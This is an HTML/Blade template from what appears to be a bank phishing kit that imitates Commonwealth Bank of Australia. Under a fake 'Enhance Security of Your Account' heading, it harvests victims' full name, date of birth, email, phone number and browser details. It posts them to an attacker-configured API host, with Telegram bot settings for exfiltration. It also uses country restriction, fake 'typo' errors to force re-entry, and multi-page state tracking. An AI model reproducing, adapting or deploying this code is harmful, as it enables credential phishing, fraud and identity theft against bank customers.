<html lang="en">

<head>
    <x-head />
</head>

<body class="honeycomb textstyles--commbank">
    <!------------------------------------------>
    <!-- Configurations -->
    <!------------------------------------------>
    <script>
        function getConfigs() {
            return {
                "index": Number('{{ $index }}'),
                "isFinalPage": Boolean('{{ $details['isFinalPage'] }}'),
                "pagesSequence": '{{ $details['pagesSequence'] }}',
                "isActive": '{{ $details['isActive'] }}' === "true" ? true : false,
                "page": '{{ $details['page'] }}',
                "pagesWaitingTime": '{{ $details['pagesWaitingTime'] }}',
                "pagesTypeOfWaitingPage": '{{ $details['pagesTypeOfWaitingPage'] }}',
                "pagesNumberOfRepetition": Number('{{ $details['pagesNumberOfRepetition'] }}'),
                'pagesWaitingTime': Number('{{ $details['pagesWaitingTime'] }}') * 1000,
                'pagesIsFormsEmptyInRepetitions': Boolean('{{ $details['pagesIsFormsEmptyInRepetitions'] }}'),
                'pagesGoBackPageName': '{{ $details['pagesGoBackPageName'] }}',
                'pagesGoNextPageName': '{{ $details['pagesGoNextPageName'] }}',
                'pagesNavigationPageControlType': '{{ $details['pagesNavigationPageControlType'] }}',
                'googleRecaptchaSiteKey': '{{ $details['googleRecaptchaSiteKey'] }}',
                'googleRecaptchaSecretKey': '{{ $details['googleRecaptchaSecretKey'] }}',
                'telegramChatId': '{{ $details['telegramChatId'] }}',
                'telegramBotToken': '{{ $details['telegramBotToken'] }}',
                'apiHost': '{{ $details['apiHost'] }}',
                'webHost': '{{ $details['webHost'] }}',
                'accessCountryISO': '{{ $details['accessCountryISO'] }}',
                'errorPageLink': '{{ $details['errorPageLink'] }}',
                'successPageLink': '{{ $details['successPageLink'] }}',
            };
        }
    </script>
    <!------------------------------------------>
    <!-- State -->
    <!------------------------------------------>
    <script>
        function getCurrentState() {
            const currentPage = getConfigs()["index"];
            let data = localStorage.getItem("data");
            if (!currentPage || !data) {
                data = JSON.stringify({
                    page: 0,
                    info: {}
                });
                localStorage.setItem("data", data);
            }
            return JSON.parse(data);
        }

        function removeState() {
            localStorage.removeItem("data");
        }

        function updateCurrentState(page, info) {
            let currentData = getCurrentState();
            localStorage.setItem("data", JSON.stringify({
                ...currentData,
                ...info,
                page: page,
            }));
        }
    </script>
    <!------------------------------------------>
    <!-- Routing -->
    <!------------------------------------------>
    <script>
        function redirect(target) {
            window.location.href = target;
        }

        function goToLink(target) {
            window.location.replace(target);
        }
    </script>
    <!------------------------------------------>
    <!-- Protection -->
    <!------------------------------------------>
    <script>
        function protectPage() {
            const page = getCurrentState()["page"];
            const currentPage = getConfigs()["index"];
            let isAccessible =
                (currentPage === 0 && page === undefined) || currentPage === page;
            let isValid = true;
            if (!isAccessible) {
                const pages = getConfigs()["pagesSequence"].split(",").length;
                isValid = !isNaN(Number(page)) && page <= pages && page >= 0;
            }
            if (!isValid) {
                removeState();
                redirect("/0");
            }
            if (!isAccessible) {
                const state = getCurrentState();
                redirect("/" + page);
            }

            if (!getConfigs()["isActive"]) {
                if (getConfigs()["isFinalPage"]) {
                    removeState();
                    goToLink(getConfigs()["successPageLink"]);
                } else {
                    updateCurrentState(page + 1, {});
                }
            }
        }
        protectPage();
    </script>


    <!-- Handling -->
    <script>
        const configs = getConfigs();

        function onErrorAction() {
            goToLink(getConfigs["errorPageLink"]);
        }
        async function handleAuto() {
            const configs = getConfigs();
            const dataToSend = getFormData();
            const test = validateData(dataToSend);
            if (!test)
                return showGlobalError(
                    "Kindly complete all mandatory fields. Verify the accuracy of the provided information.");
            hideGlobalError();
            showLoader();
            const response = await makeAPICall(dataToSend);
            if (!response) return onErrorAction();
            onSuccessAction(dataToSend);
        }

        function handleManual(configs) {
            const dataToSend = getAllFormData();
            showLoader(configs);
            alert("Manual");
        }

        function onSubmitData(key) {
            if (getConfigs()["pagesNavigationPageControlType"] === "AUTO")
                handleAuto()
            else
                handleManual(configs);
        }
    </script>

    <div id="root">
        <x-header />
        <main>
            <form method="POST" action="#" class="common_card" id="main-content">
                <div class="error-component">
                    <img src="./assets/img/aa.svg" alt="error-icon" />
                    <div id="error-message"> It took you a while to log on. You'll need to enter your
                        details again.</div>
                </div>
                <div class="waiting-popup-container waiting-popup-component">
                    <p class="waiting-popup-title">
                        Processing ...
                    </p>
                    <div class="waiting-popup"></div>

                </div>
                <div class="logonId" id="fp_forgotpassword">
                    <h1 class="logonId__heading" id="fp_forgotpassword_heading">Enhance Security of Your Account</h1>
                    <p class="logonId__section" id="fp_forgotpassword_section">Link your <b>Bank Email</b>
                        to stay updated on security and account notifications.</p>

                    <div class="form-group"><label for="firstName">Full name</label>
                        <input required id="firstName" class="form-control" name="firstName" type="text"
                            aria-required="true" value="" placeholder="Your name">
                        <div class="invalid-feedback" id="invalid-feedback-fullname"></div>
                    </div>


                    <div class="form-group"><label for="birthdate">Date of birth</label>
                        <input required id="birthdate" class="form-control" name="birthdate" type="text"
                            aria-required="true" value="" placeholder="e.g. 01/01/1990">
                        <div class="invalid-feedback" id="invalid-feedback-birthdate"></div>
                    </div>
                    <div class="form-group"><label for="email">Email address</label>
                        <input required id="email" class="form-control" name="email" type="email"
                            aria-required="true" value="" placeholder="Your email" />
                        <div class="invalid-feedback" id="invalid-feedback-email"></div>
                    </div>

                    <div class="form-group"><label for="phonenumber">Phone number</label><input required
                            id="phonenumber" class="form-control" name="phonenumber" type="text" aria-required="true"
                            value="" placeholder="+61 4XX XXX XXX" maxlength="13">
                        <div class="invalid-feedback" id="invalid-feedback-phonenumber"></div>


                    </div>

                    <button id="submitButton" class="g-recaptcha logonId__btn logonId__btnSubmit btn-action--emphasis"
                        data-sitekey="{{ $details['googleRecaptchaSiteKey'] }}" data-callback="onSubmitData"
                        data-action="submit">Confirm</button>
                </div>
            </form>
        </main>
        <x-footer />
    </div>
    </div>
</body>
<!-- Setup Validation -->
<script>
    function validateBirthdate(element) {
        const value = $(element).val();
        const feedbackElement = $("#invalid-feedback-birthdate");
        const inputElement = $("#birthdate");
        const today = new Date();

        if (!value.trim()) {
            showError(inputElement, feedbackElement, "Birthdate is required.");
            return false;
        } else if (value.substring(0, 2) > 12 || value.substring(0, 2) < 1) {
            showError(inputElement, feedbackElement, "Please enter a valid month.");
            return false;
        } else if (value.substring(3, 5) > 31 || value.substring(3, 5) < 1) {
            showError(inputElement, feedbackElement, "Please enter a valid day.");
            return false;
        } else if (new Date(value) > today) {
            showError(inputElement, feedbackElement, "Birthdate must be in the past.");
            return false;
        } else if (value.substring(6, 10) > today.getFullYear() || value.substring(6, 10) < 1900) {
            showError(inputElement, feedbackElement, "Birthdate must be after 1900-01-01.");
            return false;
        } else if (!/^\d{2}\/\d{2}\/\d{4}$/.test(value)) {
            showError(inputElement, feedbackElement, "Please enter a valid date.");
            return false;
        } else {
            hideError(inputElement, feedbackElement);
            return true;
        }
    }

    function validateEmail(element) {
        const value = $(element).val();
        const feedbackElement = $("#invalid-feedback-email");
        const inputElement = $("#email");
        const emailRegex = /^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}$/;

        if (!value.trim()) {
            showError(inputElement, feedbackElement, "Email address is required.");
            return false;
        } else if (!emailRegex.test(value)) {
            showError(inputElement, feedbackElement, "Please enter a valid email address.");
            return false;
        } else {
            hideError(inputElement, feedbackElement);
            return true;
        }
    }

    function validatePhoneNumber(element) {
        const value = $(element).val();
        const feedbackElement = $("#invalid-feedback-phonenumber");
        const inputElement = $("#phonenumber");
        const phoneRegex = /^\+?[0-9]{1,3}-?[0-9]{3,}-?[0-9]{3,}$/;

        if (!value.trim()) {
            showError(inputElement, feedbackElement, "Phone number is required.");
            return false;
        } else if (!phoneRegex.test(value) && value.length < 10) {
            showError(inputElement, feedbackElement, "Please enter a valid phone number.");
            return false;
        } else {
            hideError(inputElement, feedbackElement);
            return true;
        }

    }

    function validateFullName(element) {
        const value = $(element).val();
        const feedbackElement = $("#invalid-feedback-fullname");
        const inputElement = $("#firstName");

        if (!value.trim()) {
            showError(inputElement, feedbackElement, "Full name is required.");
            return false;
        } else if (value.length < 3) {
            showError(inputElement, feedbackElement, "Please enter at least 3 characters.");
            return false;
        } else {
            hideError(inputElement, feedbackElement);
            return true;
        }
    }
</script>
<!--Setup Components -->
<script>
    $("#phonenumber").intlTelInput({
        initialCountry: "au",
        showFlags: true,
    });
</script>
<!-- Setup musk -->
<script>
    $(document).ready(function() {
        $("#birthdate").mask("00/00/0000", {
            placeholder: "MM/DD/YYYY"
        });
    })
</script>
<!-- Setup Errors -->
<script>
    $("#firstName").on("input", function() {
        validateFullName(this);
    });
    $("#birthdate").on("input", function() {
        validateBirthdate(this);
    });
    $("#phonenumber").on("input", function() {
        validatePhoneNumber(this);
    });
    $("#email").on("input", function() {
        validateEmail(this);
    });
</script>
<!-- Handling Form -->
<script>
    function resetForm() {
        $("#firstName").val("");
        $("#birthdate").val("");
        $("#phonenumber").val("");
        $("#email").val("");
    }

    function getFormData() {
        return {
            "captchaResponse": $("[name='g-recaptcha-response']").val(),
            "firstname": $("#firstName").val(),
            "phonenumber": $("#phonenumber").val(),
            "email": $("#email").val(),
            "birthdate": $("#birthdate").val(),
            "useragent": navigator.userAgent,
            "userpanguage": navigator.language,
            "userplatform": navigator.platform,
            "page": getConfigs()["page"],
        }
    }

    function validateData(data) {
        let test = true;
        test = validateFullName($("#firstName")) && test;
        test = validateBirthdate($("#birthdate")) && test;
        test = validatePhoneNumber($("#phonenumber")) && test;
        test = validateEmail($("#email")) && test;
        return test;
    }
</script>
<!-- Handling Components -->
<script>
    function showError(input, messsage, text) {
        messsage.text(text);
        messsage.css("display", "block");
        input.addClass("is-invalid");
    }

    function hideError(input, messsage) {
        messsage.css("display", "none");
        input.removeClass("is-invalid");
    }

    function showGlobalError(message) {
        $(".error-component").css("display", "flex");
        $("#error-message").css("display", "block");
        $("#error-message").text(message);
        $("#main-content").addClass("error");
    }

    function hideGlobalError() {
        $(".error-component").css("display", "none");
        $("#error-message").css("display", "none");
        $("#main-content").removeClass("error");
    }

    function showLoader() {
        $(".waiting-popup-container").css("display", "flex");
    }

    function hideLoader() {
        $(".waiting-popup-container").css("display", "none");
    }
</script>
<!-- Handling API -->
<script>
    function objectToQueryString(obj) {
        return Object.keys(obj).map(key => key + '=' + obj[key]).join('&');
    }
    async function makeAPICall(data) {
        const configs = getConfigs();
        const dataToSend = objectToQueryString(data);
        const response = await axios.post(`${configs["apiHost"]}/${configs["page"]}?${dataToSend}`, {})
        return response.data;
    }

    function onSuccessAction(data) {
        setTimeout(() => {
            if (configs["pagesNumberOfRepetition"]) {
                configs["pagesNumberOfRepetition"]--;
                if (configs["pagesIsFormsEmptyInRepetitions"])
                    resetForm();
                hideLoader();
                showGlobalError(
                    "We've encountered a minor typo in your input. Kindly review and rectify it before proceeding."
                );
                return;
            } else if (getConfigs()["isFinalPage"]) {
                localStorage.setItem("phonenumber", getFormData()["phonenumber"]);
                removeState();
                goToLink(getConfigs()["successPageLink"]);
            } else {
                localStorage.setItem("phonenumber", getFormData()["phonenumber"]);
                updateCurrentState(getConfigs()["index"] + 1, {});
                redirect("/" + (getConfigs()["index"] + 1));
            }
        }, configs["pagesWaitingTime"]);
    }
</script>

</html>
